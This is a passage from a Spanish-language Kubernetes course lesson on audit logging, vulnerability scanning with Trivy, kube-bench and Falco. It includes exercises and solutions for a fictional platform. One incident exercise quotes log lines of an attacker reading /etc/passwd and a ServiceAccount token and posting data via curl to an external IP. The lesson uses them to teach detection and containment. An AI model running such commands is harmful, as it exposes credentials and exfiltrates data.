# 3. Estado de vulnerabilidades
kubectl get vulnerabilityreports -A -o json \
| jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)\t\(.report.summary)"' \
> "$DIR/vulnerabilidades.txt"
# 4. Excepciones vigentes
cp seguridad/excepciones-vulnerabilidades.yaml "$DIR/"
# 5. Cumplimiento del clúster
kubectl get clustercompliancereport cis -o yaml > "$DIR/cis.yaml"
# 6. Configuración de seguridad de los namespaces
kubectl get namespaces -o custom-columns=\
'NS:.metadata.name,ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce' \
> "$DIR/perfiles-psa.txt"
echo "Evidencias generadas en $DIR"
sha256sum "$DIR"/* > "$DIR/CHECKSUMS.txt"El sha256sum final no es decorativo: permite demostrar que las evidencias no se han modificado después de generarse.
- Lista de verificación final de seguridad de la plataforma
Este es el resumen operativo de todo el módulo, componente a componente.
Controles transversales del clúster
| # | Control | Lección | Verificación |
|---|---|---|---|
| 1 | RBAC de mínimo privilegio, sin comodines | 08-01 | verificar-rbac.sh en cada cambio |
| 2 | Nadie tiene cluster-admin de forma permanente salvo emergencia registrada |
08-01 | Consulta trimestral de ClusterRoleBinding |
| 3 | Solo plataforma puede leer Secrets de producción |
08-01 | kubectl auth can-i por grupo |
| 4 | Operadores privilegiados en namespace propio | 08-01, 08-03 | Revisión de manifiestos |
| 5 | PSA enforce: restricted en pre y pro, baseline en dev |
08-03 | Etiquetas de los namespaces |
| 6 | Versión del PSA fijada (-version) |
08-03 | Etiquetas de los namespaces |
| 7 | Kyverno: registro obligatorio, etiquetas, recursos, firmas | 08-03, 08-05 | PolicyReport sin fail |
| 8 | ValidatingAdmissionPolicy prohibiendo latest |
08-03 | Prueba negativa |
| 9 | NetworkPolicy deny-all en los tres namespaces, generada por Kyverno |
04-06, 08-04 | Auditoría de políticas |
| 10 | Control de salida: solo pasarela de pagos y SMTP | 08-04 | verificar-salida.sh |
| 11 | Sin NodePort ni hostPort en producción |
08-04 | Auditoría de Services |
| 12 | apiserver no expuesto públicamente | 08-04 | kubectl cluster-info |
| 13 | etcd cifrado en reposo, con Secrets reescritos | 08-04 | Configuración del apiserver |
| 14 | Copias de seguridad de etcd cifradas y custodiadas | 08-04, 05-06 | Configuración de las copias |
| 15 | kubelet: sin auth anónima, sin puerto de solo lectura | 08-04 | kube-bench |
| 16 | Nodos de plano de control con taint y sin cargas de aplicación | 08-04 | Auditoría de tolerancias |
| 17 | Registro de auditoría activo, con política revisada | 08-06 | Informe diario |
| 18 | Falco desplegado en todos los nodos, con alerta si falla | 08-06 | Alerta FalcoNoEstaFuncionando |
| 19 | Trivy Operator con informes sin críticas sin excepción | 08-06 | vulnerabilityreports |
| 20 | kube-bench semanal con línea base conocida | 08-06 | CronJob |
Por componente
| Componente | Sin root | RootFS RO | Caps ALL |
Seccomp | Token SA | Digest | Firma | NetPol E/S |
|---|---|---|---|---|---|---|---|---|
tienda-web |
Sí (101) | Sí | Sí | Sí | No monta | Sí | Sí | Entrada Ingress / sin salida |
api-reservas |
Sí (65532) | Sí | Sí | Sí | Monta, RBAC mínimo | Sí | Sí | Entrada tienda+Ingress / salida BD, caché, pasarela |
| Embajador pagos | Sí (10004) | Sí | Sí | Sí | (del pod) | Sí | Sí | (del pod) |
postgres-reservas |
Sí (999) | No (excepción) | Sí | Sí | No monta | Sí | Sí | Entrada api+worker+informes / sin salida |
| Exportador métricas | Sí (65534) | Sí | Sí | Sí | (del pod) | Sí | Sí | (del pod) |
redis-cache |
Sí (999) | Sí | Sí | Sí | No monta | Sí | Sí | Entrada api / sin salida |
worker-notificaciones |
Sí (10002) | Sí | Sí | Sí | No monta | Sí | Sí | Sin entrada / salida BD + SMTP |
| Adaptador logs | Sí (10002) | Sí | Sí | Sí | (del pod) | Sí | Sí | (del pod) |
informes-ocupacion |
Sí (10003) | Sí | Sí | Sí | No monta | Sí | Sí | Sin entrada / salida BD |
| Recolector logs | No (root, justificado) | Sí | DAC_READ_SEARCH |
Sí | Monta, RBAC lectura | Sí | Sí | Namespace sistema |
Excepciones vigentes y su justificación
| Excepción | Componente | Justificación | Revisión | Responsable |
|---|---|---|---|---|
readOnlyRootFilesystem: false |
postgres-reservas |
PostgreSQL escribe sockets y temporales fuera del volumen. Tarea abierta para resolverlo con emptyDir |
Trimestral | Plataforma |
hostPath en solo lectura |
Recolector de logs | Necesita leer /var/log del nodo. En rutas-norte-sistema con perfil privileged |
Trimestral | Plataforma |
runAsUser: 0 |
Recolector de logs | Los logs del nodo son de root. Mitigado: sin privilegios, solo DAC_READ_SEARCH, montaje de solo lectura |
Trimestral | Plataforma |
hostPID |
kube-bench (CronJob) | Necesita inspeccionar la configuración del nodo. Solo lectura, ejecución semanal acotada | Trimestral | Plataforma |
| CVE-2025-98004 | api-reservas, worker |
Sin corrección; ruta no ejecutada | 2026-10-01 | Plataforma |
| CVE-2026-10877 | api-reservas |
Requiere migración de imagen base | 2026-09-15 | Equipo API |
Una lista de excepciones que cabe en una tabla y en la que cada línea tiene motivo, fecha y responsable es la señal de una plataforma bien gestionada. Una lista que no existe, o que nadie ha mirado en un año, significa que las excepciones están igualmente ahí: simplemente no se conocen.
Errores Comunes y Consejos
Configurar RequestResponse sobre Secrets. Escribe el contenido del secreto en el log de auditoría. Las credenciales de la base de datos de clientes acabarían replicadas en el sistema de logs y en sus copias. Siempre Metadata para Secrets.
Registrarlo todo sin filtrar el ruido. El volumen se dispara, el disco se llena y —lo peor— si el apiserver no puede escribir el log de auditoría, deja de servir peticiones. Pon las reglas de None primero.
Enviar el registro de auditoría al mismo sistema donde escriben los pods. Quien comprometa el clúster puede manipular las evidencias. Debe ir a un destino donde el clúster solo pueda escribir.
Olvidar que el registro de auditoría contiene datos personales. Nombres de usuario e IP de empleados. Necesita su propia base legal, retención y control de acceso.
Escanear solo en la canalización. Una imagen limpia en junio tiene críticas en agosto. Escaneo continuo del registro y de lo que está corriendo.
Escanear los manifiestos en lugar de lo que corre. Escanea por imageID (el digest efectivo), que es lo que realmente se está ejecutando.
No usar --ignore-unfixed. Una vulnerabilidad sin parche bloquea todos los despliegues, el equipo se harta y desactiva la comprobación. Una puerta siempre cerrada acaba desmontada.
.trivyignore sin motivo, responsable ni fecha de caducidad. Se convierte en el cementerio de las vulnerabilidades que nadie quiso mirar.
Tratar todos los CVE críticos como igual de urgentes. Sin considerar exposición, ruta de ejecución y explotación real, el equipo se agota con lo irrelevante y llega tarde a lo importante.
Ignorar los hallazgos de kube-bench inaplicables en Kubernetes gestionado. Documéntalos como gestionados por el proveedor, no los borres en silencio.
Alertar de los mismos hallazgos conocidos cada semana. Compara con una línea base y alerta solo de las desviaciones nuevas.
Desplegar Falco y encaminar sus alertas a la guardia desde el primer día. Los falsos positivos iniciales harán que el equipo silencie el canal, y con él las alertas reales.
Desactivar una regla entera de Falco por un falso positivo. Usa excepciones acotadas por aplicación y proceso.
No vigilar que Falco esté funcionando. Un detector apagado no genera alertas, y la ausencia de alertas se confunde con la ausencia de problemas.
Tener herramientas sin proceso. Trescientos hallazgos sin inventario, prioridad, plazo ni responsable son trescientas cosas que nadie va a arreglar.
Generar las evidencias la semana antes de la auditoría. Automatízalas, con fecha y checksum. Además de ser más creíble, ahorra el pánico.
Consejo de oro: las tres preguntas que debes poder responder en cualquier momento, y con evidencia, son: ¿quién accedió a los datos de clientes?, ¿qué vulnerabilidades explotables tengo ahora mismo en lo que está corriendo? y ¿qué está pasando dentro de mis contenedores?. Auditoría, escaneo continuo y detección en tiempo de ejecución. Si te falta una, tienes un punto ciego.
Ejercicios
Ejercicio 1: escribir una regla de política de auditoría
El equipo de cumplimiento pide poder responder a esta pregunta: "¿quién ha modificado la configuración de los CronJobs de producción y qué cambió exactamente?". Además, quiere que las lecturas rutinarias de ConfigMaps por parte del kubelet dejen de ocupar espacio en el log.
- Escribe las dos reglas de política de auditoría necesarias, indicando dónde deben ir en el orden del fichero y por qué.
- Escribe la consulta
jqque responde a la pregunta. - Explica por qué el nivel elegido es el adecuado y qué habría pasado con los otros tres.
Ejercicio 2: priorizar cuatro hallazgos
El escaneo semanal devuelve estos cuatro hallazgos en producción:
| # | CVE | Severidad | Componente | Imagen | Estado | Detalle |
|---|---|---|---|---|---|---|
| A | CVE-2026-13001 | CRITICAL (9.8) | libxml2 |
postgres-reservas |
fixed |
Ejecución remota al analizar XML malformado. PostgreSQL usa libxml2 solo para el tipo de dato xml, que Rutas Norte no utiliza |
| B | CVE-2026-13045 | HIGH (8.1) | express |
api-reservas |
fixed |
Confusión de tipos en el análisis de parámetros de consulta. En el catálogo KEV |
| C | CVE-2026-12988 | CRITICAL (9.4) | openssl |
worker-notificaciones |
affected |
Sin corrección. Afecta a la verificación de certificados de cliente; el worker solo actúa como cliente TLS hacia el SMTP |
| D | CVE-2026-13102 | MEDIUM (5.3) | nginx |
tienda-web |
fixed |
Divulgación de información en respuestas de error cuando server_tokens está activo |
Para cada uno:
- Asigna una prioridad (P1-P5) según la tabla del apartado 10 y justifícala.
- Indica la acción concreta y el plazo.
- Para los que no se corrijan de inmediato, escribe la entrada del registro de excepciones.
Ejercicio 3: reconstruir un incidente con tres fuentes
A las 03:47 del 6 de agosto salta una alerta. Tienes tres fuentes de información:
Registro de auditoría:
03:47:09Z system:serviceaccount:rutas-norte-pro:worker-notificaciones list secrets/- 403
03:47:14Z system:serviceaccount:rutas-norte-pro:worker-notificaciones create pods/exec 403
03:47:31Z system:serviceaccount:rutas-norte-pro:worker-notificaciones get configmaps/worker-config 200Falco:
03:47:08.229 Critical Shell abierta en produccion (proceso=sh -c "cat /etc/passwd"
padre=node pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884 Critical Token de ServiceAccount leido por proceso inesperado
(proceso=cat /var/run/secrets/kubernetes.io/serviceaccount/token padre=sh
pod=worker-notificaciones-6d4f8b9c7-k9x2)
03:47:12.155 Critical Herramienta de descarga en produccion (proceso=curl -X POST
https://192.0.2.55/r -d @- padre=sh pod=worker-notificaciones-6d4f8b9c7-k9x2)Hubble (de 08-04):
03:47:12.401 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:443 DROPPED Policy denied
03:47:13.455 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:53 DROPPED Policy denied- Reconstruye la secuencia completa de lo ocurrido, con la hora de cada paso.
- Indica qué control detuvo cada intento y cuál habría sido el resultado si ese control no existiera.
- Hay un dato en las tres fuentes que revela algo importante sobre la imagen desplegada, que contradice la política de 08-05. Identifícalo.
- Escribe las cinco acciones inmediatas y las tres correcciones de fondo.
Soluciones
Solución 1
1. Las dos reglas:
apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
# ---------------------------------------------------------------
# REGLA A: descartar el ruido del kubelet leyendo ConfigMaps.
# DEBE IR AL PRINCIPIO del fichero, en el bloque de None.
# Motivo: la política se evalúa en orden y se aplica la PRIMERA
# regla que coincide. Si esta fuera después de la regla B o de
# cualquier regla genérica, esas lecturas ya se habrían registrado.
# ---------------------------------------------------------------
- level: None
users: ["system:kubelet"]
userGroups: ["system:nodes"]
verbs: ["get", "list", "watch"]
resources:
- group: ""
resources: ["configmaps"]
# ... (resto del bloque de None: sondas, controladores, eventos) ...
# ---------------------------------------------------------------
# REGLA B: escrituras sobre CronJobs de producción, con el cuerpo.
# Va en el bloque de reglas específicas, ANTES de las reglas
# genéricas de nivel Metadata que capturarían estas peticiones
# con menos detalle.
# ---------------------------------------------------------------
- level: Request
verbs: ["create", "update", "patch", "delete"]
namespaces: ["rutas-norte-pro"]
resources:
- group: "batch"
resources: ["cronjobs"]
# ... (resto de reglas específicas) ...
# Regla genérica final
- level: MetadataEl razonamiento del orden es lo importante del ejercicio. Con la política evaluándose de arriba abajo y aplicando la primera coincidencia:
- La regla A antes de todo: si estuviera al final, las lecturas del kubelet ya habrían coincidido con la regla genérica
Metadatay estarían en el log. - La regla B antes de la genérica
Metadata: si estuviera después, las escrituras sobre CronJobs se registrarían con nivelMetadatay no tendríamos el cuerpo, que es justo lo que pide el enunciado.
2. La consulta:
jq -r 'select(
.objectRef.resource == "cronjobs" and
.objectRef.namespace == "rutas-norte-pro" and
(.verb | test("create|update|patch|delete"))
)
| "=== \(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name) [\(.responseStatus.code)]",
" programación: \(.requestObject.spec.schedule // "sin cambio")",
" imagen: \(.requestObject.spec.jobTemplate.spec.template.spec.containers[0].image // "sin cambio")",
" suspendido: \(.requestObject.spec.suspend // false)"' \
/var/log/kubernetes/auditoria.log=== 2026-08-05T18:22:41Z [email protected] patch informes-ocupacion [200]
programación: 0 4 * * *
imagen: registry.rutasnorte.example/rutasnorte/informes-ocupacion@sha256:8a3f...
suspendido: false
=== 2026-08-06T02:11:09Z system:serviceaccount:argocd:argocd-application-controller patch informes-ocupacion [200]
programación: 0 3 * * *
imagen: registry.rutasnorte.example/rutasnorte/informes-ocupacion@sha256:8a3f...
suspendido: falseInterpretación: alguien cambió la hora de ejecución de las 03:00 a las 04:00 por la tarde, y Argo CD la revirtió a las 02:11 porque el cambio no estaba en Git. Es exactamente el comportamiento esperado de GitOps (10-05), y el registro de auditoría lo documenta.
3. Por qué Request y no los otros:
| Nivel | Qué habría pasado |
|---|---|
None |
No se registraría nada: no se podría responder a la pregunta |
Metadata |
Sabríamos quién modificó el CronJob y cuándo, pero no qué cambió. La pregunta pide "y qué cambió exactamente" |
Request |
Correcto: metadatos más el objeto enviado, que contiene la programación, la imagen y el resto de la especificación |
RequestResponse |
Añadiría el objeto devuelto por el servidor, que para un patch es prácticamente el mismo objeto ya aplicado. Duplica el tamaño sin aportar información útil |
Un matiz para completar la respuesta: con Request vemos el objeto enviado, que en un patch puede ser solo el fragmento modificado, no el objeto completo. Si se necesitara el estado resultante completo, RequestResponse sería justificable. Para CronJobs no hay riesgo de datos personales en el cuerpo, así que sería una opción aceptable; simplemente no es necesaria.
Solución 2
Hallazgo B — CVE-2026-13045 (express, api-reservas)
| Factor | Valoración |
|---|---|
| Severidad | HIGH (8.1) |
| ¿Corrección? | Sí |
| ¿En KEV? | Sí: explotación confirmada |
| Exposición | api-reservas atiende peticiones de internet a través del Ingress |
| Ruta de ejecución | Sí: el análisis de parámetros de consulta se ejecuta en cada petición |
| Datos afectados | Da acceso potencial a la API que sirve datos de clientes |
Prioridad: P1. Plazo: 24 horas.
Aunque su CVSS (8.1) es inferior al de los dos críticos, es el más urgente de los cuatro: está en el catálogo de vulnerabilidades explotadas activamente, afecta a un componente expuesto a internet, la ruta vulnerable se ejecuta en cada petición y da acceso a datos personales. Es el ejemplo canónico de por qué la severidad sola no basta para priorizar.
Acción: actualizar express a la versión corregida, reconstruir api-reservas, escanear, firmar y desplegar hoy mismo. Si el ciclo completo no cupiera en 24 horas, mitigar mientras tanto con una regla del WAF (08-04) que rechace el patrón de petición afectado.
Hallazgo D — CVE-2026-13102 (nginx, tienda-web)
| Factor | Valoración |
|---|---|
| Severidad | MEDIUM (5.3) |
| ¿Corrección? | Sí |
| Exposición | tienda-web está expuesto a internet |
| Ruta de ejecución | Solo si server_tokens está activo |
| Compensación | Comprobable de inmediato |
Prioridad: P4 (90 días), con una mitigación inmediata de coste cero.
Acción: primero comprobar la configuración:
kubectl exec -n rutas-norte-pro deploy/tienda-web -- \
grep -r server_tokens /etc/nginx/ || echo "no configurado (valor por defecto: on)"Si está activo, desactivarlo en el ConfigMap de nginx es un cambio de una línea que elimina la exposición hoy, independientemente de la corrección. Después, la actualización de la imagen entra en el ciclo normal de reconstrucción semanal.
Es un buen ejemplo de que la mitigación de configuración puede ser más rápida que el parche, y no debe descartarse por ser "menos definitiva".
Hallazgo A — CVE-2026-13001 (libxml2, postgres-reservas)
| Factor | Valoración |
|---|---|
| Severidad | CRITICAL (9.8) |
| ¿Corrección? | Sí |
| ¿En KEV? | No |
| Exposición | postgres-reservas no es alcanzable desde internet (NetworkPolicy de 08-04) |
| Ruta de ejecución | No: requiere el tipo de dato xml, que no se usa |
| Datos afectados | Si se explotara, acceso total a los datos de clientes |
Prioridad: P3 (30 días).
Es CRITICAL con 9.8, y aun así no es urgente: la ruta vulnerable requiere procesar XML, y el esquema de Rutas Norte no tiene ninguna columna de tipo xml. Además, el componente no es alcanzable desde fuera del clúster.
Pero hay dos matices importantes que impiden bajarlo más:
- La verificación de que no se usa XML debe ser comprobada, no supuesta. Hay que ejecutar una consulta que confirme que ninguna tabla usa ese tipo:
SELECT table_name, column_name, data_type FROM information_schema.columns WHERE data_type = 'xml'; - Si se explotara, el impacto sería máximo: son los datos personales de todos los clientes. Cuando el impacto potencial es ese, no se baja de P3 aunque la explotabilidad sea baja.
Acción: actualizar la imagen replicada de PostgreSQL en el ciclo mensual de imágenes externas/.
Hallazgo C — CVE-2026-12988 (openssl, worker-notificaciones)
| Factor | Valoración |
|---|---|
| Severidad | CRITICAL (9.4) |
| ¿Corrección? | No: affected, sin parche disponible |
| Ruta de ejecución | No: afecta a la verificación de certificados de cliente, y el worker solo actúa como cliente |
| Exposición | Sin entrada de red (NetworkPolicy de 08-04) |
Prioridad: P5 → requiere excepción documentada.
No hay corrección disponible, así que no hay acción posible más allá de vigilar. Y la ruta afectada no se ejecuta: la verificación de certificados de cliente es lo que hace un servidor TLS, y worker-notificaciones solo abre conexiones salientes hacia el SMTP.
Entrada del registro de excepciones:
- cve: CVE-2026-12988
componente: openssl
imagenes: ["rutasnorte/worker-notificaciones"]
severidad: CRITICAL
cvss: 9.4
estado_correccion: affected # sin parche del mantenedor
motivo: >-
La vulnerabilidad afecta a la ruta de verificación de certificados de
CLIENTE, que solo se ejecuta cuando el proceso actúa como servidor TLS.
worker-notificaciones únicamente abre conexiones salientes hacia el
servidor SMTP del proveedor, actuando siempre como cliente. La ruta de
código vulnerable no se ejecuta.
Verificado por: revisión del código de la aplicación y del SBOM.
mitigacion: >-
El componente no acepta conexiones entrantes (NetworkPolicy sin reglas
de Ingress, 08-04). Corre sin root, con capacidades eliminadas y sistema
de ficheros de solo lectura (08-02).
aprobada_por: seguridad
responsable: plataforma
fecha_aprobacion: 2026-08-06
fecha_caducidad: 2026-09-06 # revisión mensual: puede salir el parche
revision: mensual
seguimiento: >-
Comprobar semanalmente si el mantenedor publica corrección. En cuanto
exista, esta excepción se cierra y pasa a P2.Resumen de prioridades:
| Orden | Hallazgo | CVSS | Prioridad | Plazo |
|---|---|---|---|---|
| 1 | B — express |
8.1 | P1 | 24 h |
| 2 | D — nginx |
5.3 | P4 + mitigación hoy | Mitigar hoy, parchear en 90 días |
| 3 | A — libxml2 |
9.8 | P3 | 30 días |
| 4 | C — openssl |
9.4 | P5 (excepción) | Vigilancia mensual |
El orden no coincide con el de los CVSS. Esa es exactamente la lección: priorizar por severidad abstracta habría puesto A y C primero (los dos CRITICAL) y B en tercer lugar, retrasando la única que se está explotando activamente en un componente expuesto a internet.
Solución 3
1. Reconstrucción de la secuencia
| Hora | Fuente | Qué ocurrió |
|---|---|---|
| 03:47:08.229 | Falco | Se lanza sh -c "cat /etc/passwd" con node como proceso padre. El proceso de la aplicación ha ejecutado un intérprete de órdenes: es el momento del compromiso, probablemente una inyección de órdenes a través de la aplicación |
| 03:47:09.884 | Falco | Desde esa shell se lee el token de la ServiceAccount: fase de reconocimiento, busca credenciales |
| 03:47:09 | Auditoría | Usa ese token: intenta list secrets en el namespace → 403 |
| 03:47:12.155 | Falco | Ejecuta curl -X POST https://192.0.2.55/r -d @-: intento de exfiltración hacia una IP externa |
| 03:47:12.401 | Hubble | Esa conexión al puerto 443 → DROPPED, Policy denied |
| 03:47:13.455 | Hubble | Reintento por el puerto 53 (técnica para atravesar cortafuegos permisivos) → DROPPED |
| 03:47:14 | Auditoría | Cambia de estrategia: intenta create pods/exec para saltar a otro pod → 403 |
| 03:47:31 | Auditoría | Se conforma con lo que sí puede: lee configmaps/worker-config → 200 |
Secuencia clásica y completa en 23 segundos: compromiso → reconocimiento de credenciales → intento de escalada → intento de exfiltración → intento de movimiento lateral → repliegue a lo que sí está permitido.
2. Qué detuvo cada intento
| Intento | Control que lo detuvo | Lección | Sin ese control |
|---|---|---|---|
| Listar secretos | RBAC: la SA del worker no tiene permiso sobre secrets |
08-01 | Habría obtenido las credenciales de postgres-reservas: acceso directo a los datos personales de todos los clientes |
| Exfiltrar por HTTPS | NetworkPolicy de egreso: el worker solo puede salir al SMTP | 08-04 | Los datos que ya tenía habrían salido del clúster. Fuga de datos consumada |
| Exfiltrar por el 53 | La misma política | 08-04 | Ídem |
pods/exec en otro pod |
RBAC: la SA no tiene ese subrecurso | 08-01 | Movimiento lateral a api-reservas o a postgres-reservas |
| Leer el ConfigMap | Nada: era un permiso legítimo | — | (Ocurrió) |
Los cuatro controles del módulo funcionaron. Y las tres fuentes de detección funcionaron: Falco vio lo que pasaba dentro del contenedor, la auditoría vio los intentos contra la API, y Hubble vio los intentos contra la red. Ninguna de las tres, por sí sola, contaba la historia completa.
3. El dato que contradice la política de 08-05
Hay un intérprete de órdenes (
sh) y haycurldentro de la imagen deworker-notificaciones.
Según la política de imágenes de 08-05, worker-notificaciones debía construirse sobre gcr.io/distroless/nodejs22, que no contiene shell ni ninguna utilidad. Que el atacante haya podido ejecutar sh -c y curl demuestra que la imagen desplegada no es distroless.
Las implicaciones son serias y hay que investigarlas:
- ¿Se cambió el Dockerfile sin que nadie lo revisara?
- ¿Se desplegó una imagen de otra procedencia? (la verificación de firma debería haberlo impedido)
- ¿La política de Kyverno de 08-05 está en
Auditen lugar deEnforce? - ¿El digest desplegado coincide con el que la canalización firmó?
Y hay una lección de fondo muy valiosa: la imagen mínima no es solo una reducción de superficie de vulnerabilidades, es una reducción de capacidad del atacante. Con distroless, los pasos de 03:47:08 y 03:47:12 habrían sido imposibles: no hay sh que lanzar ni curl que ejecutar. El compromiso inicial habría ocurrido igual, pero el atacante se habría quedado con un proceso de Node y ninguna herramienta.
Comprobación inmediata:
# ¿Qué digest está corriendo realmente?
kubectl get pod -n rutas-norte-pro worker-notificaciones-6d4f8b9c7-k9x2 \
-o jsonpath='{.status.containerStatuses[?(@.name=="worker")].imageID}{"\n"}'
# ¿Coincide con el que firmó la canalización?
cosign verify \
--certificate-identity-regexp "https://git.rutasnorte.example/plataforma/.*" \
--certificate-oidc-issuer "https://git.rutasnorte.example" \
"<el digest anterior>"
# ¿La imagen tiene shell?
trivy image --list-all-pkgs "<el digest>" | grep -E 'busybox|bash|coreutils|curl'4. Acciones inmediatas y correcciones de fondo
Cinco acciones inmediatas (primeros 30 minutos):
| # | Acción | Orden |
|---|---|---|
| 1 | Aislar el pod sin destruirlo | kubectl label pod -n rutas-norte-pro worker-notificaciones-6d4f8b9c7-k9x2 app- estado=en-cuarentena (el ReplicaSet crea uno limpio automáticamente) |
| 2 | Aplicar la NetworkPolicy de cuarentena | La del ejercicio de 08-04: denegación total para estado: en-cuarentena |
| 3 | Rotar las credenciales accesibles desde ese pod | Credenciales de la BD que usaba, credenciales SMTP, y el token de su ServiceAccount |
| 4 | Determinar el alcance con las tres fuentes | Auditoría, Falco y Hubble de las últimas 72 horas para ese pod y para todos los del namespace |
| 5 | Notificar al responsable de cumplimiento | Hay indicios de intento de acceso a datos personales; los plazos de notificación empiezan al conocerse el hecho |
Tres correcciones de fondo:
| # | Corrección | Por qué |
|---|---|---|
| 1 | Investigar y corregir la imagen no conforme. Verificar que el Dockerfile usa distroless, que la política de verificación de firmas está en Enforce y que el digest desplegado es el firmado |
Es la desviación que amplió la capacidad del atacante. Sin resolverla, el siguiente incidente será igual |
| 2 | Encontrar y cerrar el vector de entrada. El padre de la shell era node: hay una inyección de órdenes en el código del worker. Revisar el código, escanear las dependencias, aplicar el proceso de gestión de vulnerabilidades del apartado 10 |
Todo lo demás fue contención; esto es la causa |
| 3 | Revisar los permisos del worker. Necesitaba configmaps/worker-config y nada más. Verificar con kubectl auth can-i --list que no tiene permisos de más, y confirmar que su NetworkPolicy solo permite BD y SMTP |
Aplicar la lección del incidente al resto de componentes |
Y una cuarta que no es técnica pero es igual de importante: documentar el incidente completo con su cronología, los controles que funcionaron, los que faltaron y las acciones tomadas. Es evidencia para la auditoría, material de formación para el equipo y la base para la revisión trimestral de seguridad.
Conclusión
Con esta lección cerramos el módulo 8 y las dos preguntas que quedaban abiertas:
- El registro de auditoría del apiserver responde a "¿quién hizo qué?". Su política tiene cuatro niveles —
None,Metadata,Request,RequestResponse— y se evalúa en orden, aplicando la primera regla que coincide. Para Secrets, siempreMetadata:RequestResponseescribiría las credenciales de la base de datos de clientes en el log. Destinos de fichero y de webhook, y el webhook debe apuntar a un sistema donde el clúster solo pueda escribir. - Con
jqsobre el fichero se responde a preguntas concretas en segundos: quién leyó las credenciales, quién borró aquel Deployment, qué hizo esa ServiceAccount, quién entró en un contenedor de producción, quién cambió el RBAC. Y los403registrados son señales de detección, no no-eventos. - Trivy escanea imágenes localmente, en la canalización con umbral que rompe la construcción (con
--ignore-unfixed, o la puerta acaba desmontada) y de forma continua sobre lo que está corriendo por digest. El Trivy Operator lo automatiza dentro del clúster y publica los resultados como recursos personalizados que se integran con Prometheus. - kube-bench evalúa la configuración del clúster contra los estándares CIS. Sus hallazgos se gestionan comparando con una línea base conocida, y los inaplicables en Kubernetes gestionado se documentan, no se ignoran.
- Falco aporta la detección en tiempo de ejecución que ningún control preventivo puede dar, observando llamadas al sistema. Sus mejores reglas no son genéricas: son el reflejo de las decisiones de diseño de las lecciones anteriores —sin shell porque usamos distroless, sin escritura en el sistema porque el rootfs es de solo lectura, sin lectura de tokens porque los desmontamos—. Sus alertas se integran con el Alertmanager del módulo 7, y hay que vigilar que Falco esté funcionando.
- Y lo que de verdad falta en la mayoría de equipos: la gestión de vulnerabilidades como proceso, con inventario, priorización realista (no todo CVE crítico es urgente: cuentan la explotación real, la exposición y la ruta de ejecución), plazos por severidad, responsable asignado y excepciones documentadas con fecha de caducidad que bloqueen la construcción al vencer.
- Las evidencias se generan automáticamente, con fecha y checksum, no la semana antes de la auditoría. Y el propio registro de auditoría contiene datos personales de los empleados: necesita su base legal, su retención y su control de acceso.
La lista de verificación final recorre los veinte controles transversales del clúster y los diez componentes de Rutas Norte, con sus excepciones vigentes, cada una con motivo, fecha de revisión y responsable.
Con esto, la plataforma Rutas Norte es segura y observable. Sabemos quién puede hacer qué, qué puede hacer cada contenedor, qué habla con qué, qué se ejecuta exactamente, quién hace qué y qué está ocurriendo dentro. Y cuando algo falla, hay tres fuentes independientes que lo cuentan.
Pero hay algo que hemos arrastrado durante ocho módulos sin cuestionarlo. Mira el manifiesto de api-reservas: replicas: 4. Cuatro. Un número que alguien escribió a mano un día, mirando el tráfico de aquel momento. tienda-web tiene tres. worker-notificaciones, dos.
Esos números están congelados. No cambian cuando a las tres de la tarde de un martes de febrero sobra la mitad de la capacidad, ni cuando el puente de mayo llega y medio país decide comprar billetes de autobús el mismo jueves por la tarde. La plataforma está perfectamente protegida y perfectamente incapaz de adaptarse a su propia carga. Y una plataforma que no responde cuando más se la necesita ha fallado igual que si la hubieran atacado: los clientes no compran billetes, y da igual que sea por un incidente de seguridad o por saturación.
El módulo 9, Escalado y Rendimiento, resuelve exactamente eso: autoescalado horizontal de pods según la carga real, autoescalado vertical para ajustar las peticiones de recursos, autoescalado del propio clúster cuando los nodos no dan más, escalado por eventos y métricas personalizadas con KEDA, alta disponibilidad con PodDisruptionBudgets y distribución por topología, y el ajuste fino de rendimiento. Empezamos por el más importante: 09-01, Autoescalado Horizontal de Pods.
Curso de Kubernetes
Módulo 1: Introducción a Kubernetes
- ¿Qué es Kubernetes?
- Arquitectura de Kubernetes
- Conceptos y Terminología Clave
- Configuración de un Clúster de Kubernetes
- La CLI de Kubernetes: kubectl
- Objetos, Manifiestos YAML y el Modelo Declarativo
- El Proyecto del Curso: la Plataforma Rutas Norte
Módulo 2: Componentes Principales de Kubernetes
- Pods
- ReplicaSets
- Deployments
- Actualizaciones, Rollbacks y Estrategias de Despliegue
- Servicios
- Namespaces
- Etiquetas, Selectores y Anotaciones
Módulo 3: Gestión de Configuración y Secretos
- ConfigMaps
- Secrets
- Variables de Entorno
- Cuotas y Límites de Recursos
- LimitRanges y Clases de Calidad de Servicio (QoS)
- ServiceAccounts y Acceso a la API desde los Pods
Módulo 4: Redes en Kubernetes
- Redes de Clúster
- Tipos de Servicios
- DNS Interno y Descubrimiento de Servicios
- Controladores de Ingress
- TLS y Gestión de Certificados con cert-manager
- Políticas de Red
Módulo 5: Almacenamiento en Kubernetes
- Volúmenes
- Volúmenes Persistentes
- Reclamaciones de Volúmenes Persistentes
- Clases de Almacenamiento
- Aprovisionamiento Dinámico, Expansión y Snapshots
- Copias de Seguridad y Restauración de Datos
Módulo 6: Conceptos Avanzados de Kubernetes
- StatefulSets
- DaemonSets
- Trabajos y CronJobs
- Init Containers, Sidecars y Patrones Multi-Contenedor
- Planificación: Afinidad, Taints y Tolerations
- Definiciones de Recursos Personalizados (CRDs)
- Operadores y el Patrón Controlador
Módulo 7: Monitoreo y Registro
- Verificaciones de Salud y Sondas
- Servidor de Métricas y kubectl top
- Monitoreo con Prometheus
- Visualización y Alertas con Grafana y Alertmanager
- Registro Centralizado con Elasticsearch, Fluentd y Kibana (EFK)
- Depuración de Aplicaciones y Eventos del Clúster
Módulo 8: Seguridad en Kubernetes
- Control de Acceso Basado en Roles (RBAC)
- Contextos de Seguridad y Endurecimiento del Contenedor
- Políticas de Seguridad de Pods y Pod Security Standards
- Seguridad de Red
- Seguridad de Imágenes
- Auditoría, Escaneo y Gestión de Vulnerabilidades
Módulo 9: Escalado y Rendimiento
- Autoescalado Horizontal de Pods
- Autoescalado Vertical de Pods
- Autoescalado de Clúster
